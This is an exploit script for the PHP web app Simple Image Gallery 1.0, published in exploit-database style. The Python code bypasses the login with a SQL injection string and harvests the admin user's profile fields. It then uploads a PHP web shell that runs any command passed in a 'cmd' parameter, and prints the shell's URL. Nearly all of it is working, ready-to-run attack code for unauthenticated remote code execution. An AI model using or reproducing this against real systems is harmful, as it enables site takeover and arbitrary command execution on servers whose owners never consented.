Simple Image Gallery 1.0 Shell Upload

`# Exploit Title: Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 17.08.2021  
# Exploit Author: Tagoletta (Tağmaç)  
# Software Link: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html  
# Version: V 1.0  
# Tested on: Ubuntu  
  
import requests  
import random  
import string  
import json  
from bs4 import BeautifulSoup  
  
url = input("TARGET = ")  
  
if not url.startswith('http://') and not url.startswith('https://'):  
url = "http://" + url  
if not url.endswith('/'):  
url = url + "/"  
  
payload= "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>"  
  
session = requests.session()  
  
print("Login Bypass")  
  
request_url = url + "/classes/Login.php?f=login"  
post_data = {"username": "admin' or '1'='1'#", "password": ""}  
bypassUser = session.post(request_url, data=post_data)  
data = json.loads(bypassUser.text)  
status = data["status"]  
  
if status == "success":  
  
let = string.ascii_lowercase  
  
shellname = ''.join(random.choice(let) for i in range(15))  
shellname = 'Tago'+shellname+'Letta'  
  
print("shell name "+shellname)  
  
print("\nprotecting user")  
request_url = url + "?page=user"  
getHTML = session.get(request_url)  
getHTMLParser = BeautifulSoup(getHTML.text, 'html.parser')  
  
ids = getHTMLParser.find('input', {'name':'id'}).get("value")  
firstname = getHTMLParser.find('input', {'id':'firstname'}).get("value")  
lastname = getHTMLParser.find('input', {'id':'lastname'}).get("value")  
username = getHTMLParser.find('input', {'id':'username'}).get("value")  
  
print("\nUser ID : " + ids)  
print("Firsname : " + firstname)  
print("Lasname : " + lastname)  
print("Username : " + username + "\n")  
  
print("shell uploading")  
  
request_url = url + "/classes/Users.php?f=save"  
request_headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary9nI3gVmJoEZoZyeA"}  
request_data = "------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ids+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+firstname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+lastname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+username+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA--\r\n"  
upload = session.post(request_url, headers=request_headers, data=request_data)  
  
if upload.text == "1":  
print("- OK -")  
req = session.get(url + "/?page=user")  
parser = BeautifulSoup(req.text, 'html.parser')  
find_shell = parser.find('img', {'id':'cimg'})  
print("Shell URL : " + find_shell.get("src") + "?cmd=whoami")  
else:  
print("- NO :( -")  
else:  
print("No bypass user")  
  
`